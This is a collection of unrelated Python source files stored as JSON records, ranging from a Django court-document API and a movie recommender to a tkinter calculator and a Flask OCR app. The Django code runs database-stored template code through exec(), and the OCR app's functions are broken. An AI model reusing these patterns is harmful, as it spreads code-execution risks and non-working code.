+{"seq_id":"291497944","text":"import collections\nimport re\nimport logging\nimport requests\nimport json\n\nfrom django.conf import settings\nfrom django.http import JsonResponse, HttpResponseBadRequest, HttpResponseServerError\nfrom django.utils import timezone\nfrom django.shortcuts import redirect\n\nfrom account.models import get_api_user\nfrom account.decorators import require_jwt_auth\nfrom main.models import Doc, Case, Template, Stage\nfrom main.utils import str2int\nfrom history.models import log_user_operation, OperationHistory\nfrom templating.renderer import RenderError, Renderer, UploadError\nfrom interfaces.tasks import doc_signed_callback_task\n\nlogger = logging.getLogger('server')\ni_logger = logging.getLogger('interface')\n\nTEMPLATES = (10, 11, 12, 13, 14)\n\nPUSH_COUNTDOWN = 60\n\nTEMPLATE_RENDER_RULES = {\n    '10': {\n        'per_copy_by': 'applicants',  # 受理案件通知书: 每个原告生成一份文书\n    },\n    '11': {\n        'per_copy_by': 'defendants_third_parties',  # 应诉通知书: 每个被告, 第三人生成一份文书\n    },\n    '12': {\n        'per_copy_by': 'applicants_defendants',  # 举证通知书: 每个原告, 被告生成一份文书\n    },\n    '13': {\n        'per_copy_by': 'all',  # 送达地址确认书: 每个当事人生成一份文书\n    },\n    '14': {\n        'per_copy_by': 'all',  # 送达回证: 每个当事人生成一份文书\n    }\n}\n\n\n# 卷宗系统收到起诉状后 POST 到此接口, 我们接收结构化的案件信息, 生成相应的文书\ndef case_info(request):\n    try:\n        payload = json.loads(request.body.decode())\n    except json.JSONDecodeError:\n        return HttpResponseBadRequest('请求的 JSON 数据无法解析')\n\n    try:\n        case_uid2 = payload['基本信息']['caseId']\n    except KeyError:\n        return HttpResponseBadRequest('请求信息中未包含基本信息/caseId')\n    else:\n        i_logger.info('[dossier.court] Received case info, case uid2: {} \\n\\tpayload: {}' \\\n                      .format(case_uid2, str(payload)))\n\n    case = Case.objects.filter(uid2=case_uid2).first()\n    if not case:\n        case = Case.objects.create(uid2=case_uid2)\n\n    user = get_api_user()\n\n    # 有案号 -> 设置案件的状态为立案\n    # 无案号 -> 由我们的收案系统而来，忽略它\n    if payload.get('基本信息') and payload['基本信息'].get('案号'):\n        stage = Stage.objects.filter(index=1).first()  # 立案\n        status = Case.ACCEPTED\n    else:\n        return JsonResponse({\n            'status': 'ok',\n            'data': {\n                'case_id': case_uid2\n            }\n        })\n\n    if stage:\n        case.stage = stage\n    case.status = status\n    case.deserialize2(payload)\n    case.create_user = user\n    case.save()\n\n    # - 生成文书 开始 -\n\n    for uid in TEMPLATES:\n        template = Template.objects.filter(uid=uid, status='enabled').order_by('-version').first()\n        if not template:\n            continue\n\n        render_rule = TEMPLATE_RENDER_RULES[str(template.uid)]\n        #\n        render_method = {\n            'applicants': render_by_applicants,\n            'defendants': render_by_defendants,\n            'applicants_defendants': render_by_applicants_defendants,\n            'defendants_third_parties': render_by_defendants_third_parties,\n            'all': render_by_all,\n            'none': render_by_none\n        }\n        render_method[render_rule['per_copy_by']](case, template, user)\n        i_logger.info('[dossier.court] Rendered template {}, rule: {}, case uid2: {}' \\\n                      .format(template.uid, render_rule, case_uid2))\n        #\n    # - 生成文书 结束 -\n\n    return JsonResponse({\n        'status': 'ok',\n        'data': {\n            'case_id': case_uid2\n        }\n    })\n\n\n# 根据案件 uid2 (卷宗系统的 caseId) 查询卷宗信息\ndef dossier(request):\n    uid2 = request.GET.get('uid2')\n    if not uid2:\n        return HttpResponseBadRequest('请求参数不正确')\n\n    data = {}\n    url = 'http://{}/court/files/queryClassifyFiles'.format(settings.DOSSIER_SERVER_HOST)\n    params = {\n        'caseId': uid2\n    }\n    try:\n        resp = requests.get(url, params=params, timeout=1000)\n    except Exception as e:\n        msg = 'Request dossier info failed, uid2: {}, error: {}'.format(uid2, e)\n        logger.error(msg)\n    else:\n        data = json.loads(resp.content.decode())\n\n    return JsonResponse({\n        'status': 'ok',\n        'data': data\n    })\n\n\n# 根据前端指定的文件 id，请求卷宗系统进行 ocr 识别\ndef ocr(request):\n    file_id = request.POST.get('file_id')\n    sub_case_id = request.POST.get('sub_case_id')\n    if not file_id or not sub_case_id:\n        return HttpResponseBadRequest('缺少参数')\n\n    # 请求 ocr 识别\n    url = 'http://{}/court/bjfiles/picOcrData'.format(settings.DOSSIER_SERVER_HOST)\n    params = {\n        'fileId': file_id,\n        'subCaseId': sub_case_id\n    }\n\n    try:\n        resp = requests.post(url, params=params, timeout=1000)\n    except Exception as e:\n        msg = 'Failed to request OCR result, file id: {}, error: {}'.format(file_id, e)\n        logger.error(msg)\n        return HttpResponseServerError('无法获取 OCR 识别结果')\n    else:\n        i_logger.info('[dossier.court] Request OCR, file id: {}, returned: {}'.format(file_id, resp.content.decode()))\n\n    try:\n        result = json.loads(resp.content.decode())\n    except Exception as e:\n        msg = 'Failed to parse OCR result, file id: {}, error: {}'.format(file_id, e)\n        logger.error(msg)\n        return HttpResponseServerError('无法解析 OCR 识别结果')\n\n    if result.get('code') not in [0, '0']:\n        msg = 'Failed to parse OCR result, file id: {}, error: returned none 0 code'.format(file_id)\n        logger.error(msg)\n        return HttpResponseServerError('获取 OCR 识别结果出错')\n\n    return JsonResponse({\n        'status': 'ok',\n        'data': result.get('data', '')\n    })\n\n\n# 返回卷宗系统的卷宗查看页面\ndef dossiers_view(request):\n    case_id = str2int(request.GET.get('case', ''))\n    case = Case.objects.filter(pk=case_id).first()\n    if not case:\n        return HttpResponseBadRequest('指定的案件不存在或已删除')\n\n    to = 'http://{}/viewer/model/Preview/page.html?caseInfoId={}&previewType=0&comeFrom=2'.format(\n        settings.DOSSIER_SERVER_HOST, case.uid2)\n    return redirect(to)\n\n\n# 返回文书系统的文书查看页面\ndef cases_view(request):\n    case_uid2 = request.GET.get('caseId')\n    case = Case.objects.filter(uid2=case_uid2).first()\n    if not case:\n        return HttpResponseBadRequest('指定的案件不存在或已被删除')\n    to = 'http://{}/documents2.html?case={}&stage=undefined'.format(settings.LOCAL_HOST, case.id)\n    return redirect(to=to)\n\n\n# 文档签章后, 保存文件, 异步推送文档\ndef doc_signed_callback(request):\n    payload = json.loads(request.body.decode())\n    doc_id = str2int(payload.get('doc_id'))\n    doc = Doc.objects.filter(pk=doc_id).exclude(status__in=[Doc.DELETED, Doc.COMPLETELY_DELETED]).select_related(\n        'case').first()\n    if doc and doc.case:\n        # 设为生效\n        Doc.objects.filter(pk=doc_id).exclude(status=Doc.DELETED).update(status=Doc.EFFECTIVE)\n        doc_signed_callback_task.apply_async((doc.id, doc.case.uid2), countdown=PUSH_COUNTDOWN)\n\n        # TODO: use require_jwt_auth to get user\n        user = get_api_user()\n        log_user_operation(user, OperationHistory.MAKE_EFFECTIVE, doc)\n\n    return JsonResponse({\n        'status': 'ok',\n        'data': {}\n    })\n\n\ndef render_by_applicants(case, template, user):\n    opponents = case.detail.defendants + case.detail.third_parties\n    for receiver in case.detail.applicants:\n        subtitle = receiver.get('名称', '')\n        _render(case, template, user, receiver, opponents, subtitle)\n\n\ndef render_by_defendants(case, template, user):\n    opponents = case.detail.applicants\n    for receiver in case.detail.defendants:\n        subtitle = receiver.get('名称', '')\n        _render(case, template, user, receiver, opponents, subtitle)\n\n\ndef render_by_third_parties(case, template, user):\n    opponents = case.detail.applicants\n    for receiver in case.detail.third_parties:\n        subtitle = receiver.get('名称', '')\n        _render(case, template, user, receiver, opponents, subtitle)\n\n\ndef render_by_applicants_defendants(case, template, user):\n    render_by_applicants(case, template, user)\n    render_by_defendants(case, template, user)\n\n\ndef render_by_defendants_third_parties(case, template, user):\n    render_by_defendants(case, template, user)\n    render_by_third_parties(case, template, user)\n\n\ndef render_by_all(case, template, user):\n    render_by_applicants(case, template, user)\n    render_by_defendants(case, template, user)\n    render_by_third_parties(case, template, user)\n\n\ndef render_by_none(case, template, user):\n    _render(case, template, user, {}, [], '')\n\n\ndef _render(case, template, user, receiver, opponents, subtitle):\n    # - 获取填充信息 开始 -\n    ctx = {\n        'case': case,\n        'user': user,\n        'info': collections.OrderedDict(),\n        'OrderedDict': collections.OrderedDict,\n        'receiver': receiver,\n        'opponents': opponents\n    }\n\n    try:\n        exec(template.code, ctx)\n    except Exception as e:\n        msg = 'Failed to render template {}, error: {}'.format(template.uid, e)\n        logger.error(msg)\n\n    # - 获取填充信息 结束 -\n\n    # - 渲染 开始 -\n    renderer = Renderer(template.bucket, template.prefix + template.tpl)\n    doc_bucket = case.bucket\n    time = timezone.localtime(timezone.now()).strftime('%Y-%m-%d %H:%M:%S')\n    doc_name = '{}（{}）'.format(template.name, subtitle) if subtitle else template.name\n    # 筑劳人仲案收字［2018］64号/文书/送达回证/2018-07-01 11:00:00/送达回证（某某某）\n    doc_path = '{}/文书/{}/{}/{}.docx'.format(case.receive_id, template.name, time, doc_name)\n    pdf_path = '{}/文书/{}/{}/{}.pdf'.format(case.receive_id, template.name, time, doc_name)\n    try:\n        renderer.render(doc_bucket, doc_path, ctx.get('info'))\n    except RenderError as e:\n        msg = 'Failed to render template {}, error: {}'.format(template.uid, e)\n        logger.error(msg)\n    except UploadError as e:\n        msg = 'Failed to upload rendered document, error: {}'.format(e)\n        logger.error(msg)\n    # - 渲染 结束 -\n\n    # 新建文书记录\n    doc = Doc.objects.create(\n        case=case,\n        template=template,\n        uid=template.uid,\n        name=doc_name,\n        subtitle=subtitle,\n        bucket=case.bucket,\n        path=doc_path,\n        pdf_path=pdf_path,\n        status=Doc.NOT_EDITED,\n        creator=user,\n        last_modifier=user,\n        version=1\n    )\n    # - 保存文书记录 结束 -\n\n    # - 记录用户操作记录 开始 -\n    log_user_operation(user, OperationHistory.CREATE, doc)\n    # - 记录用户操作记录 结束 -\n    return doc.id\n","sub_path":"backend/interfaces/app/dossier/court/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":10960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"346431428","text":"\"\"\"\nModule for vertice methods relative to plane drawing\n\"\"\"\n\nimport bmesh\nfrom mathutils import Vector\n\nimport utils\nfrom model import CartographyGroup, CartographyCategory\nfrom ..model import CartographyPlaneContext\n\n\n# METHODS =====================================================================\ndef create(\n        context: CartographyPlaneContext,\n        vector: Vector,\n        group: CartographyGroup,\n        category: CartographyCategory = None\n) -> bmesh.types.BMVert:\n    vertice = context.bmesh.verts.new(vector)  # noqa\n\n    vertices = utils.collection.dict.get_or_create(context.vertices_by_group, group, [])\n    vertices.append(vertice)\n\n    category = category if category else group.category\n    if category.outline:\n        context.outline_vertices.append(vertice)\n    if category == CartographyCategory.GATE:\n        context.gate_vertices.append(vertice)\n\n    return vertice\n","sub_path":"drawing/drawer/plane/utils/vertice.py","file_name":"vertice.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"65427553","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.8 (3413)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/joel/Workspace/dev/runtime/runtime.py\n# Compiled at: 2020-02-01 17:17:31\n# Size of source mod 2**32: 826 bytes\nfrom operator import itemgetter\nfrom typing import List, Mapping\nfrom models.models import Process\nfrom utils.colours import green, blue\nfrom utils.emojis import ZAP, MUSHROOM, TOPHAT\n\ndef run(processes: List[Process], options: Mapping[(str, bool)]) -> None:\n    quiet, silent, check, verbose = itemgetter('quiet', 'silent', 'check', 'verbose')(options)\n    quiet or silent or print(ZAP + blue(' Multi Job ') + ZAP + '\\nPlan:')\n    for process in processes:\n        print(green(process.call if verbose else process.alias))\n    else:\n        if check:\n            return\n        for process in processes:\n            if not quiet:\n                if not silent:\n                    print(blue('Running: ') + (process.call if verbose else process.alias))\n            output = process.trigger()\n            if not silent:\n                print(output)","sub_path":"pycfiles/multi_job-0.10.13-py3-none-any/runtime.cpython-38.py","file_name":"runtime.cpython-38.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"559235420","text":"import pandas as pd\r\nimport numpy as np\r\n#import matplotlib as plt\r\nimport pickle\r\n#%matplotlib inline\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\n#from app import Recommender\r\nimport json\r\n\r\nclass build_model():\r\n    def __init__(self):\r\n        self.movie = ''\r\n        self.genre=''\r\n        self.rating = 0.0\r\n        \r\n    #ratings dataset\r\n    ratings = pd.read_csv('ratings.csv')\r\n    ratings.head()\r\n    ratings.drop('timestamp', inplace=True, axis=1)\r\n\r\n\r\n    #users dataset\r\n    users = pd.read_csv('users.csv') \r\n    users.head()\r\n\r\n\r\n    #movies (items) dataset\r\n    movies = pd.read_csv('movies1.csv')\r\n    movies.head()\r\n    m = movies.copy()\r\n    m1 = m.copy()\r\n    m1.drop('movieId', inplace = True, axis=1)\r\n    m1.head()\r\n    \r\n    movie_ratings = pd.merge(movies, ratings, on='movieId', how='left')\r\n    movie_ratings.head()\r\n\r\n    #calculate average ratings for each movie\r\n    avg = movie_ratings.copy()\r\n    co = avg.groupby('title')['rating'].count()\r\n    avg1 = avg.groupby('title')['rating'].mean()\r\n    avg1.head(10)\r\n    avg.to_csv('m_r.csv')\r\n     #merge users and movie_ratings dataframes\r\n    df= pd.merge(movie_ratings, users, on='userId')\r\n    df.head(10)\r\n    \r\n    #dropping unusable columns\r\n    df.drop(['age','sex','occupation','zip_code'], inplace=True, axis=1)\r\n\r\n    # filter the movies data frame\r\n    movies2 = movies[movies.movieId.isin(df)]\r\n    m2 = m1.copy()\r\n    m2.head()\r\n     # map movie to id:\r\n    Mapping_file = dict(zip(movies.movieId.tolist(), movies.title.tolist()))\r\n    Mapping_file\r\n    m1\r\n    '''\r\n    FUNCTION TO RETURN THE MOVIE DETAILS OF THE MOVIE SEARCHED\r\n    '''\r\n    def display_movie(title, m1=m1):\r\n        title=title.title()\r\n        display = m1[m1.title == title]\r\n        \r\n        return display\r\n    \r\n    print(display_movie('balto'))    \r\n    '''\r\n    FUNCTION TO FIND TOP 20 MOVIES\r\n    '''\r\n    def toptwenty(df=df, avg1=avg1):\r\n        df3 = df.copy()  \r\n        df3.head(10)\r\n        list(df3)    \r\n        avg1.head(10)\r\n        df4 = pd.merge(df3,avg1, on='title')\r\n        df4.head(10)\r\n        df4 = df4.drop_duplicates()\r\n        list(df4)\r\n        df4.drop('userId', axis=1, inplace=True)\r\n        df4.drop(['movieId','rating_x'], axis=1, inplace=True)\r\n        df4.columns = ['title','genres','year','rating']\r\n        df4 = df4.drop_duplicates()\r\n        a =  df4.sort_values(by='rating', ascending=False, axis=0).head(100)\r\n        return a\r\n    \r\n    top20 = toptwenty()\r\n        \r\n    print(top20)\r\n    \r\n    '''\r\n    CONTENT BASED FILTERING TO RECOMMEND TOP 20 MOVIES BASED ON GENRE OF THE SEARCHED MOVIE\r\n    '''\r\n    #Import TfIdfVectorizer from scikit-learn\r\n    \r\n    \r\n    #Define a TF-IDF Vectorizer Object. Remove all english stop words such as 'the', 'a'\r\n    tfidf = TfidfVectorizer(analyzer='word', ngram_range=(1,2), min_df=0, stop_words='english')\r\n    \r\n    #Replace NaN with an empty string\r\n    m['genres'] = m['genres'].fillna('')\r\n    \r\n    # Check and clean NaN values\r\n    print (\"Number of movies Null values: \", max(movies.isnull().sum()))\r\n    print (\"Number of ratings Null values: \", max(ratings.isnull().sum()))\r\n    movies.dropna(inplace=True)\r\n    ratings.dropna(inplace=True)\r\n    print (\"Number of movies Null values: \", max(movies.isnull().sum()))\r\n    \r\n    #Construct the required TF-IDF matrix by fitting and transforming the data\r\n    tfidf_matrix = tfidf.fit_transform(m['genres'])\r\n    \r\n    #Output the shape of tfidf_matrix\r\n    tfidf_matrix.shape\r\n\r\n    # Import linear_kernel\r\n    from sklearn.metrics.pairwise import linear_kernel\r\n    \r\n    # Compute the cosine similarity matrix\r\n    cosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\r\n    \r\n    #Construct a reverse map of indices and movie titles\r\n    indices = pd.Series(m.index, index=m['title']).drop_duplicates()\r\n    \r\n    # Function that takes in movie title as input and outputs most similar movies\r\n    def get_recommendations(title, cosine_sim=cosine_sim, top20=top20, Mappig_file=Mapping_file, indices=indices, m1=m1):\r\n        title = title.title()\r\n\r\n        # Get the index of the movie that matches the title\r\n        idx = indices[title]\r\n        # Get the pairwsie similarity scores of all movies with that movie\r\n        sim_scores = list(enumerate(cosine_sim[idx]))\r\n        # Sort the movies based on the similarity scores\r\n        sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\r\n        # Get the scores of the 10 most similar movies\r\n        sim_scores = sim_scores[1:21]\r\n        # Get the movie indices\r\n        movie_indices = [i[0] for i in sim_scores]\r\n        # Return the top 10 most similar movies\r\n        return m1.iloc[movie_indices]  \r\n        \r\n#    get_recommendations('Balto')\r\n    \r\n    titles_list = movies.title.tolist()\r\n    titles_list\r\n    with open('movie_dict.json', 'w') as fp:\r\n        json.dump(Mapping_file, fp)    \r\n      \r\n    p1 = pickle.dump(Mapping_file, open('map.pkl','wb'))\r\n    p2 = pickle.dump(top20, open(\"model.pkl\", 'wb'))\r\n    \r\n    \r\nif __name__ == \"__main__\":\r\n    build_model()\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"movie_model.py","file_name":"movie_model.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"401527917","text":"# loader.py\n\"\"\"\n    Load data sources to cache\n\"\"\"\nimport os\nimport numpy as np\nimport cv2\n\n\nxpixels = 480\nypixels = 640\nrgb = 3\n\n\nclass Loader(object):\n\n\n    \"\"\" Load data \"\"\"\n\n\n    def __init__(self, name):\n        self.name = name\n        self.suffixes = ['', '-det', '-gt']\n        self.source_path = \"sources/\" + self.name + \".mp4\"\n\n\n    def load(self):\n        \"\"\" Load source mp4 into cache if it does not yet exist \"\"\"\n\n        print(\"Caching from {}\".format(self.source_path))\n        name = self.source_path.split(\"/\")[-1].split(\".\")[0]\n        cache_path = \"cache/\" + name\n\n        if os.path.isfile(cache_path + \".npz\"):\n            # already in cache\n            print(\"{} already cached\".format(name))\n        else:\n            arr = self.make_frames()\n            print(\"Finished frame extraction for {}\".format(name))\n            np.savez_compressed(\"cache/\" + name, arr=arr)\n            print(\"Finished caching for {}\".format(name))\n\n\n    def make_frames(self):\n        \"\"\" Return numpy array of frames \"\"\"\n        cap = cv2.VideoCapture(self.source_path)\n        success = True\n        i = 0\n        images = []\n        log_period = 100\n        while success:\n            success, image = cap.read()\n            if image is None:\n                break\n            images.append(image)\n            i += 1\n            if i % log_period == 0:\n                print(\"Finished extracting {} frames\".format(i))\n        arr = np.array(images).reshape((i, xpixels, ypixels, rgb))\n        return arr\n\n\n\nif __name__ == \"__main__\":\n    ldr = Loader(\"ETH-Bahnhof\")\n    ldr.load()\n","sub_path":"objtracker/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"409413257","text":"import tkinter as tk\r\nfrom tkinter import messagebox\r\n\r\nmain_window = tk.Tk()\r\nmain_window.title(\"Calculator\")\r\nlabel1 = tk.Label(main_window,text=\"First Number\")\r\nlabel1.pack()\r\nn1 = tk.Entry(main_window)\r\nn1.pack()\r\nlabel2 = tk.Label(main_window,text=\"Second Number\")\r\nlabel2.pack()\r\nn2 = tk.Entry(main_window)\r\nn2.pack()\r\nlabel3 = tk.Label(main_window,text=\"Operators\")\r\nlabel3.pack()\r\n\r\ndef takeValueInput():\r\n    x = n1.get()\r\n    y = n2.get()\r\n    try:\r\n        x = int(x)\r\n        y = int(y)\r\n        return x,y\r\n    except ValueError:\r\n        if ((len(n1.get()) == 0) or (len(n2.get()) == 0)):\r\n            messagebox.showerror(\"Error\", \"Please enter some Value.\")\r\n        else:\r\n            messagebox.showerror(\"Error\", \"Enter only Integer Value.\")\r\n        quit(0)\r\n\r\ndef add():\r\n    x,y = takeValueInput()\r\n    n=x+y\r\n    print(n)\r\n    result.config(text=\"Result = \"+str(n))\r\n\r\ndef sub():\r\n    x, y = takeValueInput()\r\n    n = x-y\r\n    print(n)\r\n    result.config(text=\"Result = \" + str(n))\r\n\r\ndef mul():\r\n    x, y = takeValueInput()\r\n    n = x*y\r\n    print(n)\r\n    result.config(text=\"Result = \" + str(n))\r\n\r\ndef div():\r\n    x,y = takeValueInput()\r\n    if y == 0:\r\n        messagebox.showerror(\"Error\", \"Cannot divide a number by 0.\")\r\n    else:\r\n        n = x/y\r\n        n=round(n,2)\r\n        print(n)\r\n        result.config(text=\"Result = \" + str(n))\r\n\r\nbutton1 = tk.Button(main_window,text=\"  +  \",command=lambda:add())\r\nbutton1.pack()\r\nbutton2 = tk.Button(main_window,text=\"  -  \",command=lambda:sub())\r\nbutton2.pack()\r\nbutton3 = tk.Button(main_window,text=\"  *  \",command=lambda:mul())\r\nbutton3.pack()\r\nbutton4 = tk.Button(main_window,text=\"  /  \",command=lambda:div())\r\nbutton4.pack()\r\nresult = tk.Label(main_window,text=\"\")\r\nresult.pack()\r\n\r\nmain_window.mainloop()","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"346368102","text":"import os\nfrom flask import Flask, render_template, request\nimport cv2\nimport numpy as np\nimport pytesseract\nfrom PIL import Image\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\nfrom pytesseract import image_to_string\nimport os\nimport re\n#from ocr_core import ocr_core\n\nUPLOAD_FOLDER = '/static/uploads/'\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\napp = Flask(__name__)\n\ndef get_string(img_path):\n\timg = cv2.imread(img_path)\n\timg = cv2.resize(img, None, fx=1.2, fy=1.2, interpolation=cv2.INTER_CUBIC)\n\timg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\tkernel = np.ones((1, 1), np.uint8)\n\timg = cv2.dilate(img, kernel, iterations=1)\n\timg = cv2.erode(img, kernel, iterations=1)\n\tcv2.threshold(cv2.GaussianBlur(img,(5,5),0),0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1]\n\tcv2.threshold(cv2.bilateralFilter(img, 5, 75, 75), 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\n\tcv2.threshold(cv2.medianBlur(img, 3), 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\n\tcv2.adaptiveThreshold(cv2.GaussianBlur(img, (5, 5), 0), 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 31, 2)\n\tcv2.adaptiveThreshold(cv2.bilateralFilter(img, 9, 75, 75), 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 31, 2)\n\tcv2.adaptiveThreshold(cv2.medianBlur(img, 3), 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 31, 2)\n\tresult = pytesseract.image_to_string(Image.open(img_path ))\n\treturn result\ndef extract_date(j):\n\tc=0\n\tmatch = re.search(r'(\\d{1,2}/\\d{1,2}/\\d{4})', j)\n\tmatch1 = re.search(r'(\\d{1,2}-\\d{1,2}-\\d{4})',j)\n\tmatch2 = re.search(r'(\\d{1,2}-\\d{1,2}-\\d{2})',j)\n\tmatch3 = re.search(r'(\\d{1,2}/\\d{1,2}/\\d{2})', j)\n\tmatch4 = re.search(r'([\\d]{1,2}/[ADFJMNOS]\\w*/[\\d]{4})',j)\n\tmatch5 = re.search(r'([\\d]{1,2}/[ADFJMNOS]\\w*/[\\d]{2})',j)\n\tmatch6 = re.search(r'([\\d]{1,2}-[ADFJMNOS]\\w*-[\\d]{4})',j)\n\tmatch7 = re.search(r'([\\d]{1,2}-[ADFJMNOS]\\w*-[\\d]{2})',j)\n\tif(match):\n\t\ti=match.group(1)\n\t\ti=i.split(\"/\")\n\t\tif(i[-1]>'2019' or (i[1] > '31' )):\n\t\t\tc+=1\n\t\t\t#continue\n\t\telse:\n\t\t\tk=match.group(1)\n\telif(match1):\n\t\ti=match1.group(1)\n\t\ti=i.split(\"-\")\n\t\tif(i[-1]>'2019' or (i[1] > '31' )):\n\t\t\tc+=1\n\t\t\t#continue\n\t\telse:\n\t\t\tk=match1.group(1)\n\telif(match2):\n\t\ti=match2.group(1)\n\t\ti=i.split(\"-\")\n\t\tif(i[-1]>'2019' or (i[1] > '31' )):\n\t\t\tc+=1\n\t\t\t#continue\n\t\telse:\n\t\t\tk=match2.group(1)\n\telif(match3):\n\t\ti=match3.group(1)\n\t\ti=i.split(\"/\")\n\t\tif(i[-1]>'2019' or (i[1] > '31' )):\n\t\t\tc+=1\n\t\t\t#continue\n\t\telse:\n\t\t\tk=match3.group(1)\n\telif(match4):\n\t\tk=match4.group(1)\n\telif(match5):\n\t\tk=match5.group(1)\n\telif(match6):\n\t\tk=match6.group(1)\n\telif(match7):\n\t\tk=match7.group(1)\n\telse:\n\t\tk='Null'\n\treturn k\n\ndef ocr_core(fname):\n\tl=[]\n\tl.append(get_string(i))\n\tk=extract_date(l[0])\n\treturn k\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route('/')\ndef home_page():\n    return render_template('index.html')\n\n@app.route('/upload', methods=['GET', 'POST'])\ndef upload_page():\n    if request.method == 'POST':\n        # check if the post request has the file part\n        if 'file' not in request.files:\n            return render_template('upload.html', msg='No file selected')\n        file = request.files['file']\n        # if user does not select file, browser also\n        # submit a empty part without filename\n        if file.filename == '':\n            return render_template('upload.html', msg='No file selected')\n\n        if file and allowed_file(file.filename):\n            file.save(UPLOAD_FOLDER+file.filename)\n\n            # call the OCR function on it\n            extracted_text, Date = ocr_core(file)\n            # extract the text and display it\n            return render_template('upload.html',msg='Successfully processed',extracted_text=extracted_text,extracted_date = Date,img_src= file.filename)\n    elif request.method == 'GET':\n        return render_template('upload.html')\n\nif __name__ == '__main__':\n    app.run(\"0.0.0.0\",\"4500\")\n","sub_path":"fyle.py","file_name":"fyle.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"542860666","text":"class ikan:\n\n    def __init__(self, nama, jenis, warna, harga, usia):\n        self.nama = nama\n        self.jenis = jenis\n        self.harga = harga\n        self.usia = usia\n        # usia dlm bulan\n        self.warna = warna\n\n\nikan_1 = ikan('cupang', 'tawar', 'biru-merah', 1000, 5)\nikan_2 = ikan('lohan', 'tawar', 'merah-putih', 3000, 10)\n\nprint('ikan1:', ikan_1.__dict__)\n","sub_path":"belajar/class ikan.py","file_name":"class ikan.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"146369709","text":"\"\"\"\nWindows API functions implemented as ctypes functions and classes as found\nin jaraco.windows (2.10).\n\nIf you encounter issues with this module, please consider reporting the issues\nin jaraco.windows and asking the author to port the fixes back here.\n\"\"\"\n\nimport ctypes\nimport ctypes.wintypes\nfrom paramiko.py3compat import u\ntry:\n    import builtins\nexcept ImportError:\n    import __builtin__ as builtins\n\ntry:\n    USHORT = ctypes.wintypes.USHORT\nexcept AttributeError:\n    USHORT = ctypes.c_ushort\n\n######################\n# jaraco.windows.error\n\ndef format_system_message(errno):\n    \"\"\"\n    Call FormatMessage with a system error number to retrieve\n    the descriptive error message.\n    \"\"\"\n    # first some flags used by FormatMessageW\n    ALLOCATE_BUFFER = 0x100\n    ARGUMENT_ARRAY = 0x2000\n    FROM_HMODULE = 0x800\n    FROM_STRING = 0x400\n    FROM_SYSTEM = 0x1000\n    IGNORE_INSERTS = 0x200\n\n    # Let FormatMessageW allocate the buffer (we'll free it below)\n    # Also, let it know we want a system error message.\n    flags = ALLOCATE_BUFFER | FROM_SYSTEM\n    source = None\n    message_id = errno\n    language_id = 0\n    result_buffer = ctypes.wintypes.LPWSTR()\n    buffer_size = 0\n    arguments = None\n    format_bytes = ctypes.windll.kernel32.FormatMessageW(\n        flags,\n        source,\n        message_id,\n        language_id,\n        ctypes.byref(result_buffer),\n        buffer_size,\n        arguments,\n    )\n    # note the following will cause an infinite loop if GetLastError\n    #  repeatedly returns an error that cannot be formatted, although\n    #  this should not happen.\n    handle_nonzero_success(format_bytes)\n    message = result_buffer.value\n    ctypes.windll.kernel32.LocalFree(result_buffer)\n    return message\n\n\nclass WindowsError(builtins.WindowsError):\n    \"more info about errors at http://msdn.microsoft.com/en-us/library/ms681381(VS.85).aspx\"\n\n    def __init__(self, value=None):\n        if value is None:\n            value = ctypes.windll.kernel32.GetLastError()\n        strerror = format_system_message(value)\n        super(WindowsError, self).__init__(value, strerror)\n\n    @property\n    def message(self):\n        return self.strerror\n\n    @property\n    def code(self):\n        return self.winerror\n\n    def __str__(self):\n        return self.message\n\n    def __repr__(self):\n        return '{self.__class__.__name__}({self.winerror})'.format(**vars())\n\ndef handle_nonzero_success(result):\n    if result == 0:\n        raise WindowsError()\n\n\nCreateFileMapping = ctypes.windll.kernel32.CreateFileMappingW\nCreateFileMapping.argtypes = [\n    ctypes.wintypes.HANDLE,\n    ctypes.c_void_p,\n    ctypes.wintypes.DWORD,\n    ctypes.wintypes.DWORD,\n    ctypes.wintypes.DWORD,\n    ctypes.wintypes.LPWSTR,\n]\nCreateFileMapping.restype = ctypes.wintypes.HANDLE\n\nMapViewOfFile = 